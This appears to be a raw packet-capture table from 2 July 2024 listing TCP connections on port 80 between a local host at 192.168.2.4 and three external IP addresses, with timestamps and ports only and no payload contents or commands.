Jul 2, 2024 15:26:15.847951889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847980976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.848320007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.848330021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.848345995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.848355055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.848362923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.848370075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.848388910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.848397017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.855878115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.855931997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856039047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856225014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856249094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856286049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856319904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856331110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856354952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856364965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856610060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856621027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856641054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856651068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856653929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856669903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.856677055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.856708050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857176065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857187986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857203960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857213974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857218027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857230902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857234955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857244968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857248068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857256889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857264042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857273102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.857274055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857285023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.857310057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858155966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858170986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858181000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858201027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858211994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858212948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858220100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858226061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858244896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858253002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858254910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858274937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858278036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858300924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858323097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858932018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858942986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858961105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858971119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.858974934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.858984947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859000921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859002113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859010935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859026909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859028101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859039068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859052896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859076977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859813929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859824896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859843016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859853029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859868050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859869003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859875917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859878063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859900951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859905005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859911919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859930992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.859937906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.859971046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862194061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862263918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862278938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862301111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862323046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862447023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862457991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862474918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862498045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862526894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862711906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862728119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862755060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862757921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862766981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862783909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862786055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862796068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.862812042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.862834930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.863337994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863348961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863368034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863377094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863382101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.863396883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863406897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863421917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.863425016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863431931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.863435984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863455057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.863471985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.863496065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881006002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881057978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881067038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881067038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881093979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881103039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881258011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881269932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881315947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881484032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881499052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881515026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881524086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881531954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881541014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881558895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881567955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881907940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881918907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881936073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881947041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881961107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881964922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881975889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.881977081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.881994009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.882010937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.882018089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.908904076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.908951044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.908960104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.908962011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.908998013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909145117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909176111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909185886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909348011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909358025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909377098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909389973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909405947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909405947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909425974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909440994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909908056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909918070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909935951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909945965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909964085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909966946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909976959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.909993887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.909993887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910016060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.910027981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.910737991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910751104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910765886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910780907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.910784960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910795927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.910799980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.910819054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.910836935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941102028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941162109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941162109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941174030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941203117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941384077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941395044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941412926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941425085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941453934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941716909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941728115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941771984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941785097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.941900015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.941982985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:18.506797075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:18.509599924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:20.273899078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:20.275058985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:24.635778904 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:24.640896082 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:24.644958973 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:24.717428923 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:24.722301006 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:25.394459963 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:25.394635916 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:25.396570921 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:25.401500940 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:25.614319086 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:25.614403009 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:25.618215084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:25.623191118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:25.623305082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:25.623442888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:25.628588915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329097033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329122066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329142094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329278946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.329288006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329325914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.329420090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329431057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329448938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329463959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329473019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.329503059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.329530954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.329847097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.329859018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.330728054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.334485054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.334544897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.334557056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.334568977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.334604025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.455584049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.455650091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.455662966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.455739021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.455763102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.455775023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.455894947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.455894947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456114054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456125021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456142902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456168890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456191063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456351995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456362963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456407070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456572056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456614971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456693888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456705093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456741095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.456914902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456926107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.456965923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.457458019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.457505941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.457532883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.457544088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.457580090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.457741976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.457762957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.457786083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.457811117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.458372116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.458383083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.458400011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.458424091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.458451033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.460742950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.460791111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581401110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581625938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581634998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581653118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581666946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581680059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581686974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581720114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581773043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581793070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581810951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581836939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.581947088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581957102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.581990957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582113981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582123995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582158089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582312107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582323074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582355022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582499027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582509995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582537889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582561970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582726955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582736969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582751036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582761049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582762957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582777977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.582779884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582802057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.582823038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583261967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583271980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583297968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583316088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583448887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583458900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583487034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583508968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583647013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583690882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583725929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583738089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583755970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583765984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583769083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583784103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.583806038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.583822966 CEST	49744	80	192.168.2.4	77.91.77.81
